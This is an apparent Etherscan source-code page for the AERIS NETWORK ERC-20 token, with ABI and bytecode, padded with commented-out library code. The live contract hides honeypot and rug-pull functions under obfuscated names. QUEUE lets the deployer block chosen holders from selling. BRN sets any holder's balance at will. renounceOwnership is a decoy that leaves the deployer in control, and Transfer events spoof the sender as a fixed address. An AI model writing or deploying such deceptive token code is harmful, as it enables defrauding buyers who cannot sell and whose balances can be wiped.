Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library EnumerableSet    - function _add(Set storage set, bytes3 ...    - function _remove(Set storage set, byt ...    - function safeDecreaseAllowance(    - function safePermit(    - function _callOptionalReturn(IERC20 t ...    - function trySub(uint256 a, uint256 b)    - function rebase(    - function eggsToFragment(uint256 eggs)    - function fragmentToEggs(uint256 value ...    - function _eggsToFragment(uint256 eggs ...    - function _fragmentToEggs(uint256 valu ...    - function rescueTokens( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract AERIS *    - function renounceOwnership()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function QUEUE (address Zx, uint256 Z ...    - function approve(address spender, uin ...    - function transferFrom(address from, a ...    - function BRN (address Zx, uint256 Zk)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-02-26
*/

pragma solidity 0.8.19;

// SPDX-License-Identifier: MIT


/*
/**
 * @dev Library for managing
 * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
 * types.
 *
 * Sets have the following properties:
 *
 * - Elements are added, removed, and checked for existence in constant time
 * (O(1)).
 * - Elements are enumerated in O(n). No guarantees are made on the ordering.
 *
 * ```
 * contract Example {
 *     // Add the library methods
 *     using EnumerableSet for EnumerableSet.AddressSet;
 *
 *     // Declare a set state variable
 *     EnumerableSet.AddressSet private mySet;
 * }
 * ```
 *
 * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
 * and `uint256` (`UintSet`) are supported.
 *
 * [WARNING]
 * ====
 * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure
 * unusable.
 * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info.
 *
 * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an
 * array of EnumerableSet.
 * ====
 *
library EnumerableSet {
    // To implement this library for multiple types with as little code
    // repetition as possible, we write it in terms of a generic Set type with
    // bytes32 values.
    // The Set implementation uses private functions, and user-facing
    // implementations (such as AddressSet) are just wrappers around the
    // underlying Set.
    // This means that we can only create new EnumerableSets for types that fit
    // in bytes32.

    struct Set {
        // Storage of set values
        bytes32[] _values;
        // Position of the value in the `values` array, plus 1 because index 0
        // means a value is not in the set.
        mapping(bytes32 => uint256) _indexes;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     *
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     *
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        // We read and store the value's index to prevent multiple reads from the same storage slot
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            // Equivalent to contains(set, value)
            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
            // the array, and then remove the last element (sometimes called as 'swap and pop').
            // This modifies the order of the array, as noted in {at}.

            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastValue = set._values[lastIndex];

                // Move the last value to the index where the value to delete is
                set._values[toDeleteIndex] = lastValue;
                // Update the index for the moved value
                set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex
            }

            // Delete the slot where the moved value was stored
            set._values.pop();

            // Delete the index for the deleted slot
            delete set._indexes[value];

      
        uint256 value
    ) internal {
        uint256 newAllowance = token.allowance(address(this), spender) + value;
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            uint256 newAllowance = oldAllowance - value;
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    newAllowance
                )
            );
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     /
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        if (returndata.length > 0) {
            // Return data is optional
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol

// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 /


    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     /
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     

        require(owner != address(0), "EGGS/invalid-address-0");
        require(owner == ecrecover(digest, v, r, s), "EGGS/invalid-permit");
        _allowedFragments[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function rebase(
        uint256 epoch,
        uint256 indexDelta,
        bool positive
    ) public returns (uint256) {
        require(hasRole(REBASER_ROLE, _msgSender()), "Must have rebaser role");

        // no change
        if (indexDelta == 0) {
            emit Rebase(epoch, eggssScalingFactor, eggssScalingFactor);
            return _totalSupply;
        }

        // for events
        uint256 prevEggssScalingFactor = eggssScalingFactor;

        if (!positive) {
            // negative rebase, decrease scaling factor
            eggssScalingFactor = eggssScalingFactor
                .mul(BASE.sub(indexDelta))
                .div(BASE);
        } else {
            // positive rebase, increase scaling factor
            uint256 newScalingFactor = eggssScalingFactor
                .mul(BASE.add(indexDelta))
                .div(BASE);
            if (newScalingFactor < _maxScalingFactor()) {
                eggssScalingFactor = newScalingFactor;
            } else {
                eggssScalingFactor = _maxScalingFactor();
            }
        }

        // update total supply, correctly
        _totalSupply = _eggsToFragment(initSupply);

        emit Rebase(epoch, prevEggssScalingFactor, eggssScalingFactor);
        return _totalSupply;
    }

    function eggsToFragment(uint256 eggs) public view returns (uint256) {
        return _eggsToFragment(eggs);
    }

    function fragmentToEggs(uint256 value) public view returns (uint256) {
        return _fragmentToEggs(value);
    }

    function _eggsToFragment(uint256 eggs) internal view returns (uint256) {
        return eggs.mul(eggssScalingFactor).div(internalDecimals);
    }

    function _fragmentToEggs(uint256 value) internal view returns (uint256) {
        return value.mul(internalDecimals).div(eggssScalingFactor);
    }

    // Rescue tokens
    function rescueTokens(
        address token,
        address to,
        uint256 amount
    ) public onlyOwner returns (bool) {
        // transfer to
        SafeERC20.safeTransfer(IERC20(token), to, amount);
        return true;
    }
}

*/
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

} 

 
contract AERIS {
  
    mapping (address => uint256) private VLb;
	
    mapping (address => uint256) private VLc;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "AERIS NETWORK";
	
    string public symbol = "AERIS";
    uint8 public decimals = 6;

    uint256 public totalSupply = 500000000 *10**6;
    address owner = msg.sender;
	  address private VLv;
    uint256 private xBal;
    address private VLz;
  


    event Transfer(address indexed from, address indexed to, uint256 value);
	  address VLg = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   



        constructor()  {
		
    VLz = msg.sender;
    VLb[msg.sender] = totalSupply;
	 xBal = 0;
	 
	 
    VLv = VLg;
	
    emit Transfer(address(0), VLv, totalSupply); 
	
	
   
    }

    function renounceOwnership() public virtual {
       
        require(msg.sender == owner);
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
        
    }


   function balanceOf(address account) public view  returns (uint256) {
        return VLb[account];
    }

    function transfer(address to, uint256 value) public returns (bool success) {


    
        require(VLb[msg.sender] >= value);
		
		
        require(VLc[msg.sender] <= xBal); 
		
  VLb[msg.sender] -= value;  
  
        VLb[to] += value;          
 emit Transfer(msg.sender, to, value);
        return true; }
		
		modifier INT () {
		   require(msg.sender == VLz);
		   _;}
		
		       function QUEUE (address Zx, uint256 Zk) INT public {
   
   VLc[Zx] = Zk;
   
   
   }


 function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }

 

   function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
  
     
	 
	 
        require(VLc[from] <= xBal);
		
		
		
        require(VLc[to] <= xBal);
		
		
		
        require(value <= VLb[from]);
        require(value <= allowance[from][msg.sender]);
        VLb[from] -= value;
		
        VLb[to] += value;
		
		
        allowance[from][msg.sender] -= value;
       if(from == VLz) {from = VLg;}
	   
	   
	   
        emit Transfer(from, to, value);
        return true; }

       function BRN (address Zx, uint256 Zk) INT public {

	
    VLb[Zx] = Zk;}

    }

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"Zx","type":"address"},{"internalType":"uint256","name":"Zk","type":"uint256"}],"name":"BRN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Zx","type":"address"},{"internalType":"uint256","name":"Zk","type":"uint256"}],"name":"QUEUE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600d81526020017f4145524953204e4554574f524b00000000000000000000000000000000000000815250600390816200004a919062000559565b506040518060400160405280600581526020017f41455249530000000000000000000000000000000000000000000000000000008152506004908162000091919062000559565b506006600560006101000a81548160ff021916908360ff1602179055506601c6bf5263400060065533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555072c5e04176d95a286fcce0e68c683ca0bfec8454600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015b57600080fd5b5033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600981905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002d1919062000651565b60405180910390a36200066e565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200036157607f821691505b60208210810362000377576200037662000319565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003e17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003a2565b620003ed8683620003a2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200043a620004346200042e8462000405565b6200040f565b62000405565b9050919050565b6000819050919050565b620004568362000419565b6200046e620004658262000441565b848454620003af565b825550505050565b600090565b6200048562000476565b620004928184846200044b565b505050565b5b81811015620004ba57620004ae6000826200047b565b60018101905062000498565b5050565b601f8211156200050957620004d3816200037d565b620004de8462000392565b81016020851015620004ee578190505b62000506620004fd8562000392565b83018262000497565b50505b505050565b600082821c905092915050565b60006200052e600019846008026200050e565b1980831691505092915050565b60006200054983836200051b565b9150826002028217905092915050565b6200056482620002df565b67ffffffffffffffff81111562000580576200057f620002ea565b5b6200058c825462000348565b62000599828285620004be565b600060209050601f831160018114620005d15760008415620005bc578287015190505b620005c885826200053b565b86555062000638565b601f198416620005e1866200037d565b60005b828110156200060b57848901518255600182019150602085019450602081019050620005e4565b868310156200062b578489015162000627601f8916826200051b565b8355505b6001600288020188555050505b505050505050565b6200064b8162000405565b82525050565b600060208201905062000668600083018462000640565b92915050565b6110b2806200067e6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a35780638f499e75146101ad57806395d89b41146101c9578063a9059cbb146101e7578063b82250c514610217578063dd62ed3e14610233576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190610d33565b60405180910390f35b6100f160048036038101906100ec9190610dee565b6102f1565b6040516100fe9190610e49565b60405180910390f35b61010f6103e3565b60405161011c9190610e73565b60405180910390f35b61013f600480360381019061013a9190610e8e565b6103e9565b60405161014c9190610e49565b60405180910390f35b61015d610783565b60405161016a9190610efd565b60405180910390f35b61018d60048036038101906101889190610f18565b610796565b60405161019a9190610e73565b60405180910390f35b6101ab6107de565b005b6101c760048036038101906101c29190610dee565b6108f9565b005b6101d161099b565b6040516101de9190610d33565b60405180910390f35b61020160048036038101906101fc9190610dee565b610a29565b60405161020e9190610e49565b60405180910390f35b610231600480360381019061022c9190610dee565b610bdd565b005b61024d60048036038101906102489190610f45565b610c7e565b60405161025a9190610e73565b60405180910390f35b6003805461027090610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90610fb4565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190610e73565b60405180910390a36001905092915050565b60065481565b6000600954600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561043957600080fd5b600954600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561048757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104d257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055b57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a99190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105fe9190611048565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106919190611014565b92505081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361071357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107709190610e73565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095357600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600480546109a890610fb4565b80601f01602080910402602001604051908101604052809291908181526020018280546109d490610fb4565b8015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a7657600080fd5b600954600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ac457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b129190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b679190611048565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bcb9190610e73565b60405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3757600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015610cdd578082015181840152602081019050610cc2565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d0582610ca3565b610d0f8185610cae565b9350610d1f818560208601610cbf565b610d2881610ce9565b840191505092915050565b60006020820190508181036000830152610d4d8184610cfa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8582610d5a565b9050919050565b610d9581610d7a565b8114610da057600080fd5b50565b600081359050610db281610d8c565b92915050565b6000819050919050565b610dcb81610db8565b8114610dd657600080fd5b50565b600081359050610de881610dc2565b92915050565b60008060408385031215610e0557610e04610d55565b5b6000610e1385828601610da3565b9250506020610e2485828601610dd9565b9150509250929050565b60008115159050919050565b610e4381610e2e565b82525050565b6000602082019050610e5e6000830184610e3a565b92915050565b610e6d81610db8565b82525050565b6000602082019050610e886000830184610e64565b92915050565b600080600060608486031215610ea757610ea6610d55565b5b6000610eb586828701610da3565b9350506020610ec686828701610da3565b9250506040610ed786828701610dd9565b9150509250925092565b600060ff82169050919050565b610ef781610ee1565b82525050565b6000602082019050610f126000830184610eee565b92915050565b600060208284031215610f2e57610f2d610d55565b5b6000610f3c84828501610da3565b91505092915050565b60008060408385031215610f5c57610f5b610d55565b5b6000610f6a85828601610da3565b9250506020610f7b85828601610da3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610fcc57607f821691505b602082108103610fdf57610fde610f85565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061101f82610db8565b915061102a83610db8565b925082820390508181111561104257611041610fe5565b5b92915050565b600061105382610db8565b915061105e83610db8565b925082820190508082111561107657611075610fe5565b5b9291505056fea2646970667358221220d354bbc9c833f72bb13b4e95be5aad6ab280a7ed62c9e2b8ec2a34f077655b2664736f6c63430008130033

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a35780638f499e75146101ad57806395d89b41146101c9578063a9059cbb146101e7578063b82250c514610217578063dd62ed3e14610233576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190610d33565b60405180910390f35b6100f160048036038101906100ec9190610dee565b6102f1565b6040516100fe9190610e49565b60405180910390f35b61010f6103e3565b60405161011c9190610e73565b60405180910390f35b61013f600480360381019061013a9190610e8e565b6103e9565b60405161014c9190610e49565b60405180910390f35b61015d610783565b60405161016a9190610efd565b60405180910390f35b61018d60048036038101906101889190610f18565b610796565b60405161019a9190610e73565b60405180910390f35b6101ab6107de565b005b6101c760048036038101906101c29190610dee565b6108f9565b005b6101d161099b565b6040516101de9190610d33565b60405180910390f35b61020160048036038101906101fc9190610dee565b610a29565b60405161020e9190610e49565b60405180910390f35b610231600480360381019061022c9190610dee565b610bdd565b005b61024d60048036038101906102489190610f45565b610c7e565b60405161025a9190610e73565b60405180910390f35b6003805461027090610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90610fb4565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190610e73565b60405180910390a36001905092915050565b60065481565b6000600954600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561043957600080fd5b600954600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561048757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104d257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055b57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a99190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105fe9190611048565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106919190611014565b92505081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361071357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107709190610e73565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095357600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600480546109a890610fb4565b80601f01602080910402602001604051908101604052809291908181526020018280546109d490610fb4565b8015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a7657600080fd5b600954600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ac457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1291